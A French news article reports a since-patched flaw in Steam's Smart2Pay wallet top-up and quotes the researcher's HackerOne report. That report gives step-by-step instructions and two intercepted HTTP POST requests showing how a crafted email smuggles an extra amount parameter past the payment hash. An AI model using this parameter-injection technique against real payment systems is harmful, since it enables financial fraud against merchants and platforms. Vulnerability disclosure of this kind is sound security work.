Pour faire simple, l'adresse e-mail n'avait besoin que d'inclure le terme « montant5000 ». Le nombre après le mot « montant » indique le montant d'argent qui serait déposé dans le portefeuille du compte Steam respectif. Une fois l'adresse e-mail enregistrée, un petit paiement de 1 USD a dû être effectué pour recevoir le montant des fonds spécifié à l'adresse e-mail. En somme, en passant par cette méthode, il était possible d’intercepter les paiements réalisés par le biais de Smart2Pay et de les augmenter de manière artificielle. Le hacker n'a exécuté avec succès ce processus que pour prouver son élaboration théorique.
L'exploit aurait fonctionné avec des méthodes de paiement utilisant le système smart2pay. Inutile de dire que Valve a depuis corrigé la faille de sécurité critique et a exprimé sa gratitude envers le hacker en lui donnant une prime de 7 500 $ US. Cette histoire rappelle qu'un comportement honnête peut porter ses fruits, même en ligne. Après tout, le hacker aurait pu décider d'acheter des milliers de clés de jeu avec ses fonds de portefeuille Steam presque gratuits.
Si Valve a depuis résolu le problème et espère que les utilisateurs continueront d’apporter leur aide à l’avenir, aucune communication n’a été faite quant à l’exploitation de cette faille et nous ne savons pas si cette dernière a effectivement été utilisée par les hackers.
Rapport du hacker
« J'ai trouvé une vulnérabilité qui permet à l'attaquant de générer un solde de portefeuille Steam. »
« Tout d'abord, vous devrez changer l'adresse e-mail de votre compte Steam en quelque chose comme (j'expliquerai pourquoi dans les prochaines étapes, le montant100 est la partie importante) : brixamount100abc@█████ »
« Ensuite, allez sur https://store.steampowered.com/steam...count/addfunds et cliquez sur ajouter des fonds. »
« Procédez au paiement et sélectionnez n'importe quel paiement qui utilise le mode de paiement Smart2Pay (przelewy24 dans mon pays). »
« Cliquez sur les étapes suivantes comme vous le feriez avec une transaction normale. »
« Interceptez la demande POST à https://globalapi.smart2pay.com/ »
« Vous devriez voir une demande comme ça »
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | POST / HTTP/1.1 Host: globalapi.smart2pay.com Content-Length: 388 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: https://store.steampowered.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://store.steampowered.com/ Accept-Encoding: gzip, deflate Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close MerchantID=1102&MerchantTransactionID=███&Amount=2000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brixamount100abc%40███████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███ |
« Pour cette requête, cela ressemblera à ceci : hash(MerchantID1102MerchantTransactionID█████Amount2000.....) »
« Ainsi, avec notre e-mail spécial, nous pouvons déplacer les paramètres d'une manière qui changera le montant pour nous »
« Par exemple, nous pouvons changer le montant d'origine Amount=2000 en Amount2=000 et après l'avoir contacté, il sera toujours Amount2000 »
« Ensuite, nous pouvons changer l'e-mail de CustomerEmail=brixamount100abc%40████ en CustomerEmail=brix&amount=100&ab=c%40█████████ par ceci nous ajoutons un nouveau montant de champ avec notre valeur. La nouvelle requête devrait ressembler à ça : »
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | POST / HTTP/1.1 Host: globalapi.smart2pay.com Content-Length: 388 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: https://store.steampowered.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://store.steampowered.com/ Accept-Encoding: gzip, deflate Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close MerchantID=1102&MerchantTransactionID=██████&Amount2=000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brix&amount=100&ab=c%40██████████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=█████████ |
2███████3
2████9 »
« Je pense que l'impact est assez évident, l'attaquant peut générer de l'argent et briser le marché de Steam, vendre des clés de jeu à bas prix, etc. »
Source : Hacker One